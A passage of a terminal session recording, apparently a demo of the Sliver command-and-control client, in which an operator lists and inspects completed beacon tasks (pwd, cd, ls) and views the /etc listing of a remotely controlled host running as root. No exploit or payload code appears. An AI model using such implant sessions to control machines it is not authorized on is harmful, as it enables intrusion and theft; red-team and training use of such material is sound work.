[41.471062, "o", "ir> Tue Apr 25 14:06:19 +0000 2023\r\ndrwxr-xr-x root:root cron.daily <dir> Tue Apr 25 14:06:17 +0000 2023\r\n-rw-r--r-- root:root debconf.conf 2.9 KiB Sun Feb 20 14:42:49 +0000 2022\r\n-rw-r--r-- root:root debian_version 13 B Sun Aug 22 17:00:00 +0000 2021\r\ndrwxr-xr-x root:root default <dir> Tue Apr 25 14:06:18 +0000 2023\r\n-rw-r--r-- root:root deluser.conf 604 B Sat Sep 15 22:14:19 +0000 2018\r\ndrwxr-xr-x root:root dpkg <dir> Tue Apr 25 14:06:16 +0000 2023\r\n-rw-r--r-- root:root e2scrub.conf 685 B Sat Jan 08 20:02:36 +0000 2022\r\n-rw-r--r-- root:root environment 106 B Tue Apr 25 14:03:14 +0000 2023\r\n-rw-r--r-- root:root fstab 37 B Tue Apr 25 14:03:08 +0000 2023\r\n-rw-r--r-- root:root gai.conf "]
|
||||
[41.471096, "o", " 2.5 KiB Thu Feb 03 05:27:54 +0000 2022\r\n-rw-r--r-- root:root group 446 B Tue Apr 25 14:03:14 +0000 2023\r\n-rw-r----- root:shadow gshadow 374 B Tue Apr 25 14:03:14 +0000 2023\r\ndrwxr-xr-x root:root gss <dir> Mon Feb 21 20:05:20 +0000 2022\r\n-rw-r--r-- root:root host.conf 92 B Fri Oct 15 10:06:05 +0000 2021\r\n-rw-r--r-- root:root hostname 13 B Wed May 01 11:41:24 +0000 2024\r\n-rw-r--r-- root:root hosts 174 B Wed May 01 11:41:24 +0000 2024\r\ndrwxr-xr-x root:root init.d <dir> Tue Apr 25 14:06:09 +0000 2023\r\n-rw-r--r-- root:root inputrc 1.7 KiB Thu Jan 06 16:26:54 +0000 2022\r\n-rw-r--r-- root:root issue 26 B Thu Feb 16 16:02:32 +0000 2023\r\n-rw-r--r-- root:root issue.n"]
|
||||
[41.471154, "o", "et 19 B Thu Feb 16 16:02:32 +0000 2023\r\ndrwxr-xr-x root:root kernel <dir> Tue Apr 25 14:03:14 +0000 2023\r\n-rw-r--r-- root:root ld.so.cache 6.6 KiB Wed May 01 13:51:02 +0000 2024\r\n-rw-r--r-- root:root ld.so.conf 34 B Wed Dec 16 11:04:55 +0000 2020\r\ndrwxr-xr-x root:root ld.so.conf.d <dir> Tue Apr 25 14:06:17 +0000 2023\r\ndrwxr-xr-x root:root ldap <dir> Wed May 01 13:50:43 +0000 2024\r\n-rw-r--r-- root:root legal 267 B Fri Oct 15 10:06:05 +0000 2021\r\n-rw-r--r-- root:root libaudit.conf 191 B Thu Mar 17 17:50:40 +0000 2022\r\ndrwxr-xr-x root:root logcheck <dir> Wed May 01 13:50:43 +0000 2024\r\n-rw-r--r-- root:root login.defs 10.5 KiB Thu Nov 11 15:42:38 +0000 2021\r\ndrwxr-xr-x root"]
|
||||
[41.472038, "o", ":root logrotate.d <dir> Tue Apr 25 14:06:17 +0000 2023\r\n-rw-r--r-- root:root lsb-release 104 B Thu Feb 16 16:02:32 +0000 2023\r\n-rw-r--r-- root:root machine-id 0 B Tue Apr 25 14:06:19 +0000 2023\r\n-rw-r--r-- root:root mime.types 70.3 KiB Mon Mar 21 09:12:23 +0000 2022\r\n-rw-r--r-- root:root mke2fs.conf 744 B Sat Jan 08 20:02:36 +0000 2022\r\nLrwxrwxrwx root:root mtab -> /proc/19246/mounts 12 B Wed May 01 11:41:24 +0000 2024\r\n-rw-r--r-- root:root netconfig 767 B Thu Mar 24 16:13:48 +0000 2022\r\n-rw-r--r-- root:root networks 91 B Fri Oct 15 10:06:05 +0000 2021\r\n-rw-r--r-- root:root nsswitch.conf 494 B Wed Dec 16 11:04:55 +0000 2020\r\ndrwxr-xr-x root:root opt <dir> Tue Apr 25 14:03:08 +0000 2023\r\n"]
|
||||
[41.472187, "o", "Lrwxrwxrwx root:root os-release -> ../usr/lib/os-release 21 B Thu Feb 16 16:02:32 +0000 2023\r\n-rw-r--r-- root:root pam.conf 552 B Wed Aug 12 00:15:04 +0000 2020\r\ndrwxr-xr-x root:root pam.d <dir> Tue Apr 25 14:06:18 +0000 2023\r\n-rw-r--r-- root:root passwd 922 B Tue Apr 25 14:03:14 +0000 2023\r\n-rw-r--r-- root:root profile 582 B Fri Oct 15 10:06:05 +0000 2021\r\ndrwxr-xr-x root:root profile.d <dir> Tue Apr 25 14:06:16 +0000 2023\r\ndrwxr-xr-x root:root python3 <dir> Wed May 01 11:42:42 +0000 2024\r\ndrwxr-xr-x root:root python3.10 <dir> Wed May 01 11:42:32 +0000 2024\r\ndrwxr-xr-x root:root rc0.d <dir> Tue Feb 15 22:32:46 +0000 2022\r\ndrwxr-xr-x root:root rc1.d <dir> Tue Feb 15 22:32"]
|
||||
[41.472239, "o", ":46 +0000 2022\r\ndrwxr-xr-x root:root rc2.d <dir> Tue Feb 15 22:32:46 +0000 2022\r\ndrwxr-xr-x root:root rc3.d <dir> Tue Feb 15 22:32:46 +0000 2022\r\ndrwxr-xr-x root:root rc4.d <dir> Tue Feb 15 22:32:46 +0000 2022\r\ndrwxr-xr-x root:root rc5.d <dir> Tue Feb 15 22:32:46 +0000 2022\r\ndrwxr-xr-x root:root rc6.d <dir> Tue Feb 15 22:32:46 +0000 2022\r\ndrwxr-xr-x root:root rcS.d <dir> Tue Apr 25 14:03:13 +0000 2023\r\n-rw-r--r-- root:root resolv.conf 97 B Wed May 01 11:41:24 +0000 2024\r\nLrwxrwxrwx root:root rmt -> /usr/sbin/rmt-tar 13 B Wed Feb 15 15:45:50 +0000 2023\r\ndrwxr-xr-x root:root security <dir> Tue Apr 25 14:06:17 +0000 2023\r\ndrwxr-xr-x root:root selinux <dir> "]
|
||||
[41.472272, "o", "Tue Apr 25 14:05:13 +0000 2023\r\n-rw-r----- root:shadow shadow 501 B Tue Apr 25 14:03:14 +0000 2023\r\n-rw-r--r-- root:root shells 142 B Wed May 01 12:11:33 +0000 2024\r\ndrwxr-xr-x root:root skel <dir> Tue Apr 25 14:03:24 +0000 2023\r\ndrwxr-xr-x root:root ssl <dir> Wed May 01 13:50:43 +0000 2024\r\n-rw-r--r-- root:root subgid 0 B Tue Apr 25 14:03:14 +0000 2023\r\n-rw-r--r-- root:root subuid 0 B Tue Apr 25 14:03:14 +0000 2023\r\n-rw-r--r-- root:root sysctl.conf 2.3 KiB Fri Feb 25 11:32:20 +0000 2022\r\ndrwxr-xr-x root:root sysctl.d <dir> Tue Apr 25 14:05:58 +0000 2023\r\ndrwxr-xr-x root:root systemd <dir> Tue Feb 15 22:32:46 +0000 2022\r\ndrwxr-xr-x root:root terminfo "]
|
||||
[41.472539, "o", " <dir> Tue Apr 25 14:05:50 +0000 2023\r\ndrwxr-xr-x root:root update-motd.d <dir> Tue Apr 25 14:06:16 +0000 2023\r\n-rw-r--r-- root:root xattr.conf 681 B Wed Mar 23 09:41:49 +0000 2022\r\n\r\n\r\n\r\n\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[41.476523, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[41.476952, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
|
||||
[43.195143, "o", "\u001b[H\u001b[2J\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[43.19903, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[43.205324, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
|
||||
[43.633966, "o", "\u001b[?25l"]
|
||||
[43.639118, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[43.64733, "o", "t\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[43.64818, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[32D\u001b[31C\u001b[107D\u001b[32C\u001b[?25h"]
|
||||
[43.790363, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[43.799145, "o", "ta\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[43.80128, "o", "\u001b[107D\u001b[1A\u001b[33D\u001b[31C\u001b[107D\u001b[33C\u001b[?25h"]
|
||||
[43.947953, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[43.95823, "o", "tas\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[43.959494, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[34D\u001b[31C\u001b[107D\u001b[34C\u001b[?25h"]
|
||||
[44.104066, "o", "\u001b[?25l\u001b[107D"]
|
||||
[44.109283, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[44.11694, "o", "task\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[35D\u001b[31C\u001b[107D\u001b[35C\u001b[?25h"]
|
||||
[44.191033, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[44.199196, "o", "\u001b[1m\u001b[32mtasks\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[44.200362, "o", "\u001b[107D\u001b[1A\u001b[36D\u001b[31C\u001b[107D\u001b[36C\u001b[?25h"]
|
||||
[44.475015, "o", "\u001b[36D\u001b[31C"]
|
||||
[44.487286, "o", "\u001b[6n"]
|
||||
[44.490867, "o", "\u001b[107D\u001b[36C\u001b[0J\u001b[107D"]
|
||||
[44.491172, "o", "\r\r\n\u001b[0 q\r\n"]
|
||||
[44.502456, "o", " ID State Message Type Created Sent Completed \r\n========== =========== ============== =============================== =============================== ===============================\r\n"]
|
||||
[44.502842, "o", " 3fb0a3ef \u001b[1m\u001b[32mcompleted\u001b[0m Ls Wed, 01 May 2024 18:59:46 UTC Wed, 01 May 2024 19:00:06 UTC Wed, 01 May 2024 19:00:06 UTC \r\n 415074fa \u001b[1m\u001b[32mcompleted\u001b[0m Cd Wed, 01 May 2024 18:59:44 UTC Wed, 01 May 2024 19:00:06 UTC Wed, 01 May 2024 19:00:06 UTC \r\n 3b339091 \u001b[1m\u001b[32mcompleted\u001b[0m Pwd Wed, 01 May 2024 18:59:41 UTC Wed, 01 May 2024 19:00:06 UTC Wed, 01 May 2024 19:00:06 UTC \r\n\r\n\r\n"]
|
||||
[44.521043, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[44.521239, "o", "\u001b[1 q\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[44.521899, "o", "\u001b[6n"]
|
||||
[44.5248, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
|
||||
[44.524934, "o", "\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
|
||||
[45.138254, "o", "\u001b[?25l\u001b[107D"]
|
||||
[45.140209, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[45.145196, "o", "t\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[45.147005, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[32D\u001b[31C\u001b[107D\u001b[32C\u001b[?25h"]
|
||||
[45.228832, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[45.229719, "o", "\u001b[6n"]
|
||||
[45.231611, "o", "ta\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[33D\u001b[31C"]
|
||||
[45.232616, "o", "\u001b[107D\u001b[33C\u001b[?25h"]
|
||||
[45.337194, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[45.350984, "o", "tas\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[45.35236, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[34D\u001b[31C\u001b[107D\u001b[34C\u001b[?25h"]
|
||||
[45.436014, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[45.447126, "o", "task\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[45.44806, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[35D\u001b[31C\u001b[107D\u001b[35C\u001b[?25h"]
|
||||
[45.525114, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[45.530111, "o", "\u001b[1m\u001b[32mtasks\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[36D\u001b[31C\u001b[107D\u001b[36C\u001b[?25h"]
|
||||
[45.718031, "o", "\u001b[1 q"]
|
||||
[45.765101, "o", "\u001b[1 q"]
|
||||
[45.765417, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[45.768441, "o", "\u001b[1m\u001b[32mtasks \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[37D\u001b[31C\u001b[107D\u001b[37C\u001b[?25h"]
|
||||
[46.15152, "o", "\u001b[?25l\u001b[107D"]
|
||||
[46.153902, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[46.159136, "o", "\u001b[1m\u001b[32mtasks \u001b[39m\u001b[22mf\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[46.160933, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[38D\u001b[31C\u001b[107D\u001b[38C\u001b[?25h"]
|
||||
[46.170095, "o", "\u001b[?25l\u001b[107D"]
|
||||
[46.171199, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[46.175794, "o", "\u001b[1m\u001b[32mtasks \u001b[39m\u001b[22mfe\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[39D\u001b[31C\u001b[107D\u001b[39C\u001b[?25h"]
|
||||
[46.321279, "o", "\u001b[1 q"]
|
||||
[46.353862, "o", "\u001b[1 q\u001b[?25l\u001b[107D"]
|
||||
[46.354607, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[46.358819, "o", "\u001b[1m\u001b[32mtasks \u001b[39m\u001b[22mfetch \u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[46.359617, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[43D\u001b[31C\u001b[107D\u001b[43C\u001b[?25h"]
|
||||
[46.596519, "o", "\u001b[43D\u001b[31C\u001b[6n"]
|
||||
[46.600517, "o", "\u001b[107D\u001b[43C\u001b[0J\u001b[107D\r\r\n\u001b[0 q\r\n"]
|
||||
[46.632537, "o", "\u001b7\u001b[?25l\u001b8"]
|
||||
[46.634912, "o", "\u001b[0G\u001b[2K"]
|
||||
[46.635856, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a beacon task:\u001b[0m \u001b[0;36m[Use arrows to move, type to filter]\u001b[0m\r\n\u001b[0;1;36m> 3b339091 PwdReq \u001b[1m\u001b[32mcompleted\u001b[0m \u001b[0m\r\n\u001b[0;39m 415074fa CdReq \u001b[1m\u001b[32mcompleted\u001b[0m \u001b[0m\r\n\u001b[0;39m 3fb0a3ef LsReq \u001b[1m\u001b[32mcompleted\u001b[0m \u001b[0m\r\n\u001b7"]
|
||||
[46.637993, "o", "\u001b[1A\u001b[0G\u001b[1A\u001b[0G\u001b[1A\u001b[0G"]
|
||||
[47.960431, "o", "\u001b8\u001b[?25h\u001b8\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a beacon task:\u001b[0m\u001b[0;36m 3b339091 PwdReq \u001b[1m\u001b[32mcompleted\u001b[0m \u001b[0m\r\n"]
|
||||
[47.962262, "o", "\u001b[1A\r\u001b[2K"]
|
||||
[47.985035, "o", "+------------------------------------------------------+\r\n| \u001b[1mBeacon Task\u001b[0m | 3b339091-cb42-4463-a504-dabac76180cd |\r\n+---------------+--------------------------------------+\r\n| State | ✅ \u001b[1m\u001b[32mCompleted\u001b[0m |\r\n| Description | PwdReq |\r\n| Created | Wed, 01 May 2024 18:59:41 UTC |\r\n| Sent | Wed, 01 May 2024 19:00:06 UTC |\r\n| Completed | Wed, 01 May 2024 19:00:06 UTC |\r\n| Request Size | 15 B |\r\n| Response Size | 7 B |\r\n+------------------------------------------------------+\r\n"]
|
||||
[47.986381, "o", "\r\n\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0m/root\r\n\r\n"]
|
||||
[48.011542, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[48.012525, "o", "\u001b[1 q\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[48.015167, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
|
||||
[48.01553, "o", "\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
|
||||
[49.092126, "o", "\u001b[?25l"]
|
||||
[49.099106, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[49.105441, "o", "\u001b[1m\u001b[32mtasks \u001b[39m\u001b[22mfetch \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[49.107241, "o", "\u001b[107D\u001b[1A\u001b[43D\u001b[31C\u001b[107D\u001b[43C\u001b[?25h"]
|
||||
[49.430117, "o", "\u001b[43D\u001b[31C\u001b[6n"]
|
||||
[49.44589, "o", "\u001b[107D\u001b[43C\u001b[0J\u001b[107D\r\r\n"]
|
||||
[49.447373, "o", "\u001b[0 q\r\n"]
|
||||
[49.470053, "o", "\u001b7\u001b[?25l\u001b8\u001b[0G"]
|
||||
[49.471459, "o", "\u001b[2K"]
|
||||
[49.474782, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a beacon task:\u001b[0m \u001b[0;36m[Use arrows to move, type to filter]\u001b[0m\r\n\u001b[0;1;36m> 3b339091 PwdReq \u001b[1m\u001b[32mcompleted\u001b[0m \u001b[0m\r\n\u001b[0;39m 415074fa CdReq \u001b[1m\u001b[32mcompleted\u001b[0m \u001b[0m\r\n\u001b[0;39m 3fb0a3ef LsReq \u001b[1m\u001b[32mcompleted\u001b[0m \u001b[0m\r\n\u001b7"]
|
||||
[49.476183, "o", "\u001b[1A\u001b[0G\u001b[1A\u001b[0G\u001b[1A\u001b[0G"]
|
||||
[49.971565, "o", "\u001b8\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K"]
|
||||
[49.977007, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a beacon task:\u001b[0m \u001b[0;36m[Use arrows to move, type to filter]\u001b[0m\r\n\u001b[0;39m 3b339091 PwdReq \u001b[1m\u001b[32mcompleted\u001b[0m \u001b[0m\r\n\u001b[0;1;36m> 415074fa CdReq \u001b[1m\u001b[32mcompleted\u001b[0m \u001b[0m\r\n\u001b[0;39m 3fb0a3ef LsReq \u001b[1m\u001b[32mcompleted\u001b[0m \u001b[0m\r\n\u001b7\u001b[1A\u001b[0G\u001b[1A\u001b[0G"]
|
||||
[50.26957, "o", "\u001b8"]
|
||||
[50.27137, "o", "\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K"]
|
||||
[50.272803, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a beacon task:\u001b[0m \u001b[0;36m[Use arrows to move, type to filter]\u001b[0m\r\n\u001b[0;39m 3b339091 PwdReq \u001b[1m\u001b[32mcompleted\u001b[0m \u001b[0m\r\n\u001b[0;39m 415074fa CdReq \u001b[1m\u001b[32mcompleted\u001b[0m \u001b[0m\r\n\u001b[0;1;36m> 3fb0a3ef LsReq \u001b[1m\u001b[32mcompleted\u001b[0m \u001b[0m\r\n\u001b7"]
|
||||
[50.275392, "o", "\u001b[1A\u001b[0G"]
|
||||
[50.809228, "o", "\u001b8\u001b[?25h"]
|
||||
[50.810289, "o", "\u001b8\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K"]
|
||||
[50.814212, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a beacon task:\u001b[0m\u001b[0;36m 3fb0a3ef LsReq \u001b[1m\u001b[32mcompleted\u001b[0m \u001b[0m\r\n\u001b[1A\r\u001b[2K"]
|
||||
[50.826934, "o", "+------------------------------------------------------+\r\n| \u001b[1mBeacon Task\u001b[0m | 3fb0a3ef-b35f-4c5f-911e-4457be4efd9d |\r\n+---------------+--------------------------------------+\r\n| State | ✅ \u001b[1m\u001b[32mCompleted\u001b[0m |\r\n| Description | LsReq |\r\n| Created | Wed, 01 May 2024 18:59:46 UTC |\r\n| Sent | Wed, 01 May 2024 19:00:06 UTC |\r\n| Completed | Wed, 01 May 2024 19:00:06 UTC |\r\n| Request Size | 18 B |\r\n| Response Size | 3.7 KiB |\r\n+------------------------------------------------------+\r\n\r\n"]
|
||||
[50.828139, "o", "/etc (81 items, 260.8 KiB)\r\n==========================\r\n"]
|
||||
[50.833346, "o", "-rw------- root:root .pwd.lock 0 B Tue Apr 25 14:03:14 +0000 2023\r\n-rw-r--r-- root:root adduser.conf 3.0 KiB Tue Apr 25 14:03:14 +0000 2023\r\ndrwxr-xr-x root:root alternatives <dir> Tue Apr 25 14:06:16 +0000 2023\r\ndrwxr-xr-x root:root apt <dir> Tue Apr 25 14:03:14 +0000 2023\r\n-rw-r--r-- root:root bash.bashrc 2.3 KiB Thu Jan 06 16:23:33 +0000 2022\r\n-rw-r--r-- root:root bindresvport.blacklist 367 B Wed Dec 16 11:04:55 +0000 2020\r\ndrwxr-xr-x root:root ca-certificates <dir> Wed May 01 13:50:41 +0000 2024\r\n-rw-r--r-- root:root ca-certificates.conf 5.8 KiB Wed May 01 13:50:51 +0000 2024\r\ndrwxr-xr-x root:root cloud <dir> Tue Apr 25 14:06:23 +0000 2023\r\ndrwxr-xr-x root:root cron.d <dir> Tue Apr 25 14:06"]
|
||||
[50.833809, "o", ":19 +0000 2023\r\ndrwxr-xr-x root:root cron.daily <dir> Tue Apr 25 14:06:17 +0000 2023\r\n-rw-r--r-- root:root debconf.conf 2.9 KiB Sun Feb 20 14:42:49 +0000 2022\r\n-rw-r--r-- root:root debian_version 13 B Sun Aug 22 17:00:00 +0000 2021\r\ndrwxr-xr-x root:root default <dir> Tue Apr 25 14:06:18 +0000 2023\r\n-rw-r--r-- root:root deluser.conf 604 B Sat Sep 15 22:14:19 +0000 2018\r\ndrwxr-xr-x root:root dpkg <dir> Tue Apr 25 14:06:16 +0000 2023\r\n-rw-r--r-- root:root e2scrub.conf 685 B Sat Jan 08 20:02:36 +0000 2022\r\n-rw-r--r-- root:root environment 106 B Tue Apr 25 14:03:14 +0000 2023\r\n-rw-r--r-- root:root fstab 37 B Tue Apr 25 14:03:08 +0000 2023\r\n-rw-r--r-- root:root gai.conf 2.5 KiB "]
|
||||
[50.833945, "o", "Thu Feb 03 05:27:54 +0000 2022\r\n-rw-r--r-- root:root group 446 B Tue Apr 25 14:03:14 +0000 2023\r\n-rw-r----- root:shadow gshadow 374 B Tue Apr 25 14:03:14 +0000 2023\r\ndrwxr-xr-x root:root gss <dir> Mon Feb 21 20:05:20 +0000 2022\r\n-rw-r--r-- root:root host.conf 92 B Fri Oct 15 10:06:05 +0000 2021\r\n-rw-r--r-- root:root hostname 13 B Wed May 01 11:41:24 +0000 2024\r\n-rw-r--r-- root:root hosts 174 B Wed May 01 11:41:24 +0000 2024\r\ndrwxr-xr-x root:root init.d <dir> Tue Apr 25 14:06:09 +0000 2023\r\n-rw-r--r-- root:root inputrc 1.7 KiB Thu Jan 06 16:26:54 +0000 2022\r\n-rw-r--r-- root:root issue 26 B Thu Feb 16 16:02:32 +0000 2023\r\n-rw-r--r-- root:root issue.net "]
|
||||
[50.834106, "o", " 19 B Thu Feb 16 16:02:32 +0000 2023\r\ndrwxr-xr-x root:root kernel <dir> Tue Apr 25 14:03:14 +0000 2023\r\n-rw-r--r-- root:root ld.so.cache 6.6 KiB Wed May 01 13:51:02 +0000 2024\r\n-rw-r--r-- root:root ld.so.conf 34 B Wed Dec 16 11:04:55 +0000 2020\r\ndrwxr-xr-x root:root ld.so.conf.d <dir> Tue Apr 25 14:06:17 +0000 2023\r\ndrwxr-xr-x root:root ldap <dir> Wed May 01 13:50:43 +0000 2024\r\n-rw-r--r-- root:root legal 267 B Fri Oct 15 10:06:05 +0000 2021\r\n-rw-r--r-- root:root libaudit.conf 191 B Thu Mar 17 17:50:40 +0000 2022\r\ndrwxr-xr-x root:root logcheck <dir> Wed May 01 13:50:43 +0000 2024\r\n-rw-r--r-- root:root login.defs 10.5 KiB Thu Nov 11 15:42:38 +0000 2021\r\ndrwxr-xr-x root:root logrotate.d "]
|
||||
[50.834201, "o", " <dir> Tue Apr 25 14:06:17 +0000 2023\r\n-rw-r--r-- root:root lsb-release 104 B Thu Feb 16 16:02:32 +0000 2023\r\n-rw-r--r-- root:root machine-id 0 B Tue Apr 25 14:06:19 +0000 2023\r\n-rw-r--r-- root:root mime.types 70.3 KiB Mon Mar 21 09:12:23 +0000 2022\r\n-rw-r--r-- root:root mke2fs.conf 744 B Sat Jan 08 20:02:36 +0000 2022\r\nLrwxrwxrwx root:root mtab -> /proc/19246/mounts 12 B Wed May 01 11:41:24 +0000 2024\r\n-rw-r--r-- root:root netconfig 767 B Thu Mar 24 16:13:48 +0000 2022\r\n-rw-r--r-- root:root networks 91 B Fri Oct 15 10:06:05 +0000 2021\r\n-rw-r--r-- root:root nsswitch.conf 494 B Wed Dec 16 11:04:55 +0000 2020\r\ndrwxr-xr-x root:root opt <dir> Tue Apr 25 14:03:08 +0000 2023\r\nLrwxrwxrwx root:root "]
|
||||
